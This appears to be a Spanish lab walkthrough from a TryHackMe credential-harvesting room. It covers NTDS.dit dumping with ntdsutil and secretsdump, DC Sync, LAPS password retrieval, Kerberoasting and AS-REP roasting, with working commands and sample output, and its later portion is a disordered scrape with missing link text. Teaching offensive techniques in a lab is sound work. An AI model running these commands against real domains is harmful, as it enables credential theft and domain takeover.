  • Tabla de enlaces: contiene los atributos del objeto y sus valores.

  • Tipo de datos: Contiene usuarios y grupos.

NTDS se encuentra de C:\Windows\NTDSforma predeterminada y está cifrado para evitar la extracción de datos de una máquina de destino. No se permite acceder al archivo NTDS.dit desde la máquina en ejecución ya que Active Directory utiliza el archivo y está bloqueado. Sin embargo, existen varias formas de acceder a él. Esta tarea analizará cómo obtener una copia del archivo NTDS usando la herramienta ntdsutil y Diskshadow y, finalmente, cómo volcar el contenido del archivo. Es importante tener en cuenta que descifrar el archivo NTDS requiere una clave de inicio del sistema para intentar descifrar las credenciales aisladas LSA, que se almacenan en el SECURITY sistema de archivos. Por lo tanto, también debemos volcar el archivo de seguridad que contiene todos los archivos necesarios para descifrar.

Ntdsutil

Ntdsutil es una utilidad de Windows para administrar y mantener configuraciones de Active Directory. Se puede utilizar en varios escenarios, como

  • Restaurar objetos eliminados en Active Directory.

  • Realizar el mantenimiento de la base de datos de AD.

  • Gestión de instantáneas de Active Directory.

  • Establezca las contraseñas de administrador del modo de restauración de servicios de directorio (DSRM).

Local Dumping (No Credentials)

Por lo general, esto se hace si no tiene credenciales disponibles pero tiene acceso de administrador al controlador de dominio. Por lo tanto, confiaremos en las utilidades de Windows para volcar el archivo NTDS y descifrarlo sin conexión. Como requisito, primero asumimos que tenemos acceso de administrador a un controlador de dominio.

Para volcar con éxito el contenido del archivo NTDS necesitamos los siguientes archivos:

- C:\Windows\NTDS\ntds.dit
- C:\Windows\System32\config\SISTEMA
- C:\Windows\System32\config\SEGURIDAD

El siguiente es un comando de PowerShell de una sola línea para volcar el archivo NTDS usando la herramienta Ntdsutil en el C:\tempdirectorio.

Volviendo el contenido del archivo NTDS de la máquina víctima

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

Ahora, si revisamos elc:\temp directorio, vemos dos carpetas: Active Directory y registro, que contienen los tres archivos que necesitamos. Transfiérelos a AttackBox y ejecuta el script secretsdump.py para extraer los hashes del archivo de memoria volcado.

Extraer hashes de NTDS localmente

user@machine$ python3.9 /opt/impacket/examples/secretsdump.py -security path/to/SECURITY -system path/to/SYSTEM -ntds path/to/ntds.dit local

Remote Dumping (With Credentials)

En la sección anterior, analizamos cómo obtener hashes de la memoria sin credenciales en la mano. En esta tarea, mostraremos cómo volcar los hashes de un sistema y de un controlador de dominio de forma remota, lo que requiere credenciales, como contraseñas o hashes NTLM. También necesitamos credenciales para usuarios con acceso administrativo a un controlador de dominio o permisos especiales como se analiza en la sección DC Sync.

DC Sync

DC Sync es un ataque popular que se realiza dentro de un entorno de Active Directory para volcar credenciales de forma remota. Este ataque funciona cuando se ve comprometida una cuenta (cuenta especial con los permisos necesarios) o una cuenta de administrador de AD que tiene los siguientes permisos de AD:

  • Replicar cambios de directorio

  • Replicar todos los cambios de directorio

  • Replicar cambios de directorio en un conjunto filtrado

La sala de AD persistente utiliza la herramienta Mimikatz para realizar el ataque de sincronización de DC. Demostremos el ataque usando una herramienta diferente, como el script Impacket SecretsDump.

Realizar el ataque de sincronización DC

user@machine$ python3.9 /opt/impacket/examples/secretsdump.py -just-dc THM.red/<AD_Admin_User>@MACHINE_IP 
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::
thm.red\thm:1114:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::

Expliquemos un poco más el comando.

  • el -just-dcargumento es para extraer los datos NTDS.

  • es thm.red/AD_Admin_Userel usuario del dominio autenticado en el formato (dominio/usuario).

Tenga en cuenta que si estamos interesados ​​en volcar solo los hashes NTLM, entonces podemos usar el -just-dc-ntlmargumento de la siguiente manera:

El ataque de sincronización de DC para volcar hashes NTLM

user@machine$ python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm THM.red/<AD_Admin_User>@MACHINE_IP

Una vez que obtuvimos los hashes, podemos usarlos para que un usuario específico se haga pasar por él o descifrar el hash usando herramientas de descifrado, como hashcat. Podemos usar el -m 1000modo hashcat para descifrar los hashes NTLM de Windows de la siguiente manera:

Cracking the Hashes

user@machine$ hashcat -m 1000 -a 0 /path/to/ntlm_hashes.txt /path/to/wordlist/such/as/rockyou.txt

Local Administrator Password Solution (LAPS)

Esta tarea explica cómo enumerar y obtener una contraseña de administrador local dentro del entorno de Active Directory si una función LAPS está configurada y habilitada.

Preferencias de política de grupo (GPP)

Un sistema operativo Windows tiene una cuenta de administrador incorporada a la que se puede acceder mediante una contraseña. Cambiar contraseñas en un entorno Windows grande con muchas computadoras es un desafío. Por lo tanto, Microsoft implementó un método para cambiar las cuentas de administrador local en todas las estaciones de trabajo mediante Preferencias de política de grupo (GPP).

GPP es una herramienta que permite a los administradores crear políticas de dominio con credenciales integradas. Una vez implementado el GPP, se crean diferentes archivos XML en la carpeta SYSVOL. SYSVOL es un componente esencial de Active Directory y crea un directorio compartido en un volumen NTFS al que todos los usuarios de dominio autenticados pueden acceder con permiso de lectura.

Solución de contraseña de administrador local (LAPS)

En 2015, Microsoft eliminó el almacenamiento de la contraseña cifrada en la carpeta SYSVOL. Introdujo la solución de contraseña de administrador local (LAPS), que ofrece un enfoque mucho más seguro para administrar de forma remota la contraseña del administrador local.

El nuevo método incluye dos nuevos atributos (ms-mcs-AdmPwd y ms-mcs-AdmPwdExpirationTime) de objetos de computadora en Active Directory. El ms-mcs-AdmPwdatributo contiene una contraseña de texto sin cifrar del administrador local, mientras que ms-mcs-AdmPwdExpirationTimecontiene el tiempo de vencimiento para restablecer la contraseña. LAPS utiliza admpwd.dllpara cambiar la contraseña del administrador local y actualizar el valor de ms-mcs-AdmPwd.

Enumerar para LAPS

La máquina virtual proporcionada tiene LAPS habilitado, así que comencemos a enumerarla. Primero, verificamos si LAPS está instalado en la máquina de destino, lo que se puede hacer verificando la admpwd.dllruta.

Enumeración para LAPS

C:\Users\thm>dir "C:\Program Files\LAPS\CSE"
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Program Files\LAPS\CSE

06/06/2022  01:01 PM              .
06/06/2022  01:01 PM              ..
05/05/2021  07:04 AM           184,232 AdmPwd.dll
               1 File(s)        184,232 bytes
               2 Dir(s)  10,306,015,232 bytes free

El resultado confirma que tenemos LAPS en la máquina. Verifiquemos los comandos disponibles para usar con AdmPwdcmdlets de la siguiente manera:

Listado de cmdlets de PowerShell disponibles para LAPS

PS C:\Users\thm> Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

A continuación, debemos encontrar qué unidad organizativa (OU) de AD tiene el atributo "Todos los derechos extendidos" que se ocupa de LAPS. Usaremos el cmdlet "Find-AdmPwdExtendedRights" para proporcionar la unidad organizativa correcta. Tenga en cuenta que la obtención de las unidades organizativas disponibles se puede realizar en el paso de enumeración. Nuestro objetivo de OU en este ejemplo es THMorg. Puede utilizar el -Identity * argumento para enumerar todas las unidades organizativas disponibles.

Encontrar usuarios con el atributo AdmPwdExtendedRights

PS C:\Users\thm> Find-AdmPwdExtendedRights -Identity THMorg

ObjectDN                                      ExtendedRightHolders
--------                                      --------------------
OU=THMorg,DC=thm,DC=red                       {THM\THMGroupReader}

El resultado muestra que el THMGroupReader grupo THMorg tiene el acceso correcto a LAPS. Revisemos el grupo y sus miembros.

Encontrar usuarios que pertenecen al grupo THMGroupReader

PS C:\Users\thm> net groups "THMGroupReader"
Group name     THMGroupReader
Comment

Members

-------------------------------------------------------------------------------
bk-admin
The command completed successfully.

PS C:\Users\victim> net user test-admin
User name                    test-admin
Full Name                    THM Admin Test Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

[** Removed **]
Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Domain Admins
                             *THMGroupReader           *Enterprise Admins
The command completed successfully.

Obtener la contraseña

Descubrimos que el bk-adminusuario es miembro de THMGroupReader, por lo que para obtener la contraseña de LAPS, debemos comprometer o suplantar al usuario bk-admin. Después de comprometer al usuario correcto, podemos obtener la contraseña de LAPS usando Get-AdmPwdPasswordun cmdlet proporcionando a la máquina de destino LAPS habilitado.

Obtener la contraseña de LAPS con el usuario adecuado

PS C:\> Get-AdmPwdPassword -ComputerName creds-harvestin

ComputerName         DistinguishedName                             Password           ExpirationTimestamp
------------         -----------------                             --------           -------------------
CREDS-HARVESTIN      CN=CREDS-HARVESTIN,OU=THMorg,DC=thm,DC=red    FakePassword    2/11/2338 11:05:2...

Other Attacks

En las tareas anteriores, se supone que ya teníamos acceso inicial a un sistema y estábamos intentando obtener credenciales de la memoria o de varios archivos dentro del sistema operativo Windows. En otros escenarios, es posible realizar ataques en la red de una víctima para obtener credenciales.

Kerberoasting

Hagamos una demostración rápida sobre el ataque. Primero, necesitamos encontrar una(s) cuenta(s) SPN y luego podemos enviar una solicitud para obtener un boleto TGS. Realizaremos el ataque Kerberoasting desde AttackBox utilizando el script de Python GetUserSPNs.py. ¡Recuerde utilizar la cuenta THM.red/thm con Passw0rd! como contraseña.

Enumeración de cuentas SPN

user@machine$ python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip MACHINE_IP THM.red/thm
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
ServicePrincipalName          Name     MemberOf  PasswordLastSet             LastLogon  Delegation
----------------------------  -------  --------  --------------------------  ---------  ----------
http/creds-harvestin.thm.red  svc-user            2022-06-04 00:15:18.413578  

El comando anterior es sencillo: proporcionamos la dirección IP del controlador de dominio y el nombre de dominio\nombre de usuario. Luego, el script GetUserSPNs solicita la contraseña del usuario para recuperar la información requerida.

El resultado reveló que tenemos una cuenta SPN, svc-user. Una vez que encontramos al usuario SPN, podemos enviar una única solicitud para obtener un ticket TGS para el usuario srv usando el argumento -request-user.

Solicitar un Boleto TGS como Cuenta SPN

user@machine$ python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip MACHINE_IP THM.red/thm -request-user svc-user 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
ServicePrincipalName          Name     MemberOf  PasswordLastSet             LastLogon  Delegation
----------------------------  -------  --------  --------------------------  ---------  ----------
http/creds-harvestin.thm.red  svc-user            2022-06-04 00:15:18.413578  

[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc-user$THM.RED$THM.red/svc-user*$8f5de4211da1cd5715217[*REMOVED*]7bfa3680658dd9812ac061c5

Ahora, es cuestión de descifrar el ticket TGS obtenido usando la herramienta HashCat usando el -m 13100modo de la siguiente manera:

Descifrar el ticket TGS usando Hashcat

user@machine$ hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt

Intente replicar los pasos en la máquina virtual adjunta buscando el usuario de SPN y luego realizando el ataque Kerberoasting. Una vez que hayas obtenido el ticket, descifralo y responde la siguiente pregunta.

AS-REP Roasting

AS-REP Roasting es la técnica que permite al atacante recuperar hashes de contraseñas para usuarios de AD cuyas opciones de cuenta se han configurado en " No requerir autenticación previa de Kerberos". Esta opción se basa en el antiguo protocolo de autenticación Kerberos, que permite la autenticación sin contraseña. Una vez que obtengamos los hashes, podemos intentar descifrarlos sin conexión y, finalmente, si es descifrable, ¡obtendremos una contraseña!

La máquina virtual adjunta tiene uno de los usuarios de AD configurado con la configuración "No requiere autenticación previa de Kerberos". Antes de realizar el tostado AS-REP, necesitamos una lista de cuentas de dominio que deben recopilarse en el paso de enumeración. En nuestro caso, creamos una users.lst lista en el directorio tmp. El siguiente es el contenido de nuestra lista, que debe recopilarse durante el proceso de enumeración.

Administrator
admin
thm
test
sshd
victim
CREDS-HARVESTIN$

Esta vez usaremos el script Impacket Get-NPUsers de la siguiente manera:

Realizar un ataque de tostado AS-REP contra la lista de usuarios

root@machine$ python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip MACHINE_IP thm.red/ -usersfile /tmp/users.txt
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] User thm doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$victim@THM.RED:166c95418fb9dc495789fe9[**REMOVED**]1e8d2ef27$6a0e13abb5c99c07
[-] User admin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bk-admin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-user doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User thm-local doesn't have UF_DONT_REQUIRE_PREAUTH set

Especificamos la dirección IP del controlador de dominio con el -dc-ipargumento y proporcionamos una lista de usuarios del dominio para comparar. Una vez que la herramienta encuentre al usuario correcto sin configuración de autenticación previa, generará el ticket.

Varias herramientas de ciberseguridad y piratería también permiten descifrar los TGT recopilados de Active Directory, incluidos Rubeus y Hashcat. Impacket GetNPUsers tiene la opción de exportar tickets en formato John o hashcat usando el -formatargumento.

SMB Relay Attack

El ataque SMB Relay abusa del mecanismo de autenticación NTLM (protocolo de desafío-respuesta NTLM). El atacante realiza un ataque Man-in-the-Middle para monitorear y capturar paquetes SMB y extraer hashes. Para que este ataque funcione, la firma SMB debe estar desactivada. La firma SMB es una verificación de seguridad de integridad y garantiza que la comunicación se realice entre fuentes confiables.

LLMNR/NBNS Poisoning

La resolución de nombres de multidifusión local de enlace (LLMNR) y el servicio de nombres NetBIOS (NBT-NS) ayudan a las máquinas de la red local a encontrar la máquina correcta si falla el DNS. Por ejemplo, supongamos que una máquina dentro de la red intenta comunicarse sin un registro DNS existente (el DNS no se resuelve). En ese caso, la máquina envía mensajes de multidifusión a todas las máquinas de la red solicitando la dirección correcta a través de LLMNR o NBT-NS.

El objetivo final de los ataques de retransmisión SMB y de envenenamiento LLMNR/NBNS es capturar hashes NTLM de autenticación para una víctima, lo que ayuda a obtener acceso a la cuenta o máquina de la víctima.

Conclusion

En esta sala, discutimos los diversos enfoques para obtener las credenciales de los usuarios, incluida la computadora local y el controlador de dominio, que concluyen lo siguiente:

  • Hablamos sobre el acceso a la memoria de Windows, el volcado de un proceso LSASS y la extracción de hashes de autenticación.

  • Discutimos el Administrador de credenciales de Windows y los métodos para extraer contraseñas.

  • Introdujimos la función LAPS de Windows y la enumeramos para encontrar el usuario y el destino correctos para extraer contraseñas.

  • Introdujimos ataques AD que llevaron a deshacerse y extraer las credenciales de los usuarios.

Puede que valga la pena probar las siguientes herramientas para escanear una máquina de destino (archivos, memoria, etc.) en busca de información confidencial. Sugerimos probarlos en la etapa de enumeración.

Los atacantes pueden buscar credenciales en una máquina comprometida en sistemas de archivos locales o remotos. Los archivos de texto sin cifrar pueden incluir información confidencial creada por un usuario, que contiene contraseñas, claves privadas, etc. El marco MITRE ATT&CK lo define como Credenciales no seguras: Credenciales en archivos ( ).

Las aplicaciones utilizan archivos de bases de datos para leer o escribir ajustes, configuraciones o credenciales. Los archivos de bases de datos generalmente se almacenan localmente en los sistemas operativos Windows. Estos archivos son un excelente objetivo para comprobar y buscar credenciales. Para obtener más información, sugerimos consultar la sala THM: . Contiene un ejemplo de extracción de credenciales del archivo de base de datos local de McAfee Endpoint.

Tenemos un ejemplo de caso de uso para explotar a los usuarios mediante pulsaciones de teclas usando Metasploit en otra sala de THM. Para obtener más información, debe consultar THM (Tarea 5).

El primer método consiste en utilizar la función integrada de Metasploit Framework, hashdump, para obtener una copia del contenido de la base de datos SAM. El marco Metasploit utiliza la inyección de código en memoria en el proceso LSASS.exe para volcar hashes de copia. Para obtener más información sobre hashdump, puede visitar el blog . ¡Discutiremos el volcado de credenciales directamente desde el proceso LSASS.exe en otra tarea!

El otro enfoque utiliza el servicio de instantáneas de volumen de Microsoft, que ayuda a realizar una copia de seguridad del volumen mientras las aplicaciones leen/escriben en los volúmenes. Puede visitar la para obtener más información sobre el servicio.

Como se mencionó anteriormente, la base de datos SAM está cifrada con algoritmos de cifrado o Para descifrarlo, necesitamos una clave de descifrado que también está almacenada en el sistema de archivos en formato c:\Windows\System32\Config\system.

Por lo tanto, el proceso LSASS es un objetivo jugoso para los equipos rojos porque almacena información confidencial sobre las cuentas de los usuarios. Comúnmente se abusa del LSASS para volcar credenciales para escalar privilegios, robar datos o moverse lateralmente. Por suerte para nosotros, si tenemos privilegios de administrador, podemos volcar la memoria de proceso de LSASS. El sistema Windows nos permite crear un archivo de volcado, una instantánea de un proceso determinado. Esto se puede hacer con el acceso al escritorio (GUI) o con el símbolo del sistema. Este ataque se define en el marco MITRE ATT&CK como " " .

es una herramienta conocida que se utiliza para extraer contraseñas, hashes, PIN y tickets Kerberos de la memoria mediante diversas técnicas. Mimikatz es una herramienta posterior a la explotación que permite otros ataques útiles , como pass-the-hash, pass-the-ticket o creación de tickets Golden Kerberos . Mimikatz se ocupa de la memoria del sistema operativo para acceder a la información. Por lo tanto, requiere privilegios de administrador y del sistema para poder volcar la memoria y extraer las credenciales.

VaultCmd no puede mostrar la contraseña, pero podemos confiar en otros scripts de PowerShell como , que ya está incluido en la VM adjunta.

Para obtener más información sobre Ntdsutil, puede visitar la de documentación de Microsoft .

Un adversario aprovecha estas configuraciones para realizar la replicación de dominio, comúnmente conocida como "DC Sync" o Domain Controller Sync. Para obtener más información sobre el ataque DC Sync, puede visitar la sala THM (Tarea 2).

El problema era que los archivos XML relevantes de GPP contenían una contraseña cifrada mediante cifrado AES de 256 bits. En ese momento, el cifrado era lo suficientemente bueno hasta que Microsoft de alguna manera publicó su clave privada en . Dado que los usuarios del dominio pueden leer el contenido de la carpeta SYSVOL, resulta fácil descifrar las contraseñas almacenadas. Una de las herramientas para descifrar la contraseña cifrada de SYSVOL es .

Es importante tener en cuenta que en un entorno AD del mundo real, LAPS está habilitado solo en máquinas específicas. Por lo tanto, debe enumerar y encontrar la computadora de destino correcta, así como la cuenta de usuario correcta, para poder obtener la contraseña de LAPS. Hay muchos scripts para ayudar con esto, pero incluimos el script C:\Tool PowerShell para probarlo.

Esta tarea presentará brevemente algunos de los ataques de Windows y AD que se pueden utilizar para obtener los hashes. Antes de profundizar en más detalles sobre los ataques AD, sugerimos familiarizarse con y el New Technology LAN Manager (NTLM), un conjunto de protocolos de seguridad utilizados para autenticar usuarios.

Kerberoasting es un ataque de AD común para obtener tickets de AD que ayuda con la persistencia. Para que este ataque funcione, un adversario debe tener acceso a cuentas SPN (nombre principal del servicio) , como usuario de IIS, MSSQL, etc. El ataque Kerberoasting implica solicitar un ticket de concesión de tickets (TGT) y un servicio de concesión de tickets (TGS). El objetivo final de este ataque es permitir la escalada de privilegios y el movimiento lateral de la red. Para obtener más detalles sobre el ataque, puede visitar la sala THM (Tarea 3).

Sugerimos consultar la sala THM para obtener más información sobre el ataque de retransmisión SMB.

El envenenamiento NBNS/LLMNR ocurre cuando un atacante falsifica una fuente autorizada en la red y responde al tráfico de resolución de nombres de multidifusión local de enlace (LLMNR) y servicio de nombres NetBIOS (NBT-NS) al host solicitado con un servicio de identificación de host. Si desea obtener más información sobre el ataque, le sugerimos consultar la sala THM .

de phishing
TA0006
T1552.001
Breaching AD
Exploiting AD
de rapid7
página de documentación de Microsoft
RC4
AES .
OS Credential Dumping: LSASS Memory (T1003)
Mimikatz
Get-WebCredentials.ps1
página
Persisting AD
MSDN
Get-GPPPassword
LAPSToolkit
el protocolo Kerberos
Persisting AD
Exploiting AD
Breaching AD
Snaffler
Seatbelt
Lazagne
20231027062213.png
20231027063951.png
20231027064808.png
20231027064950.png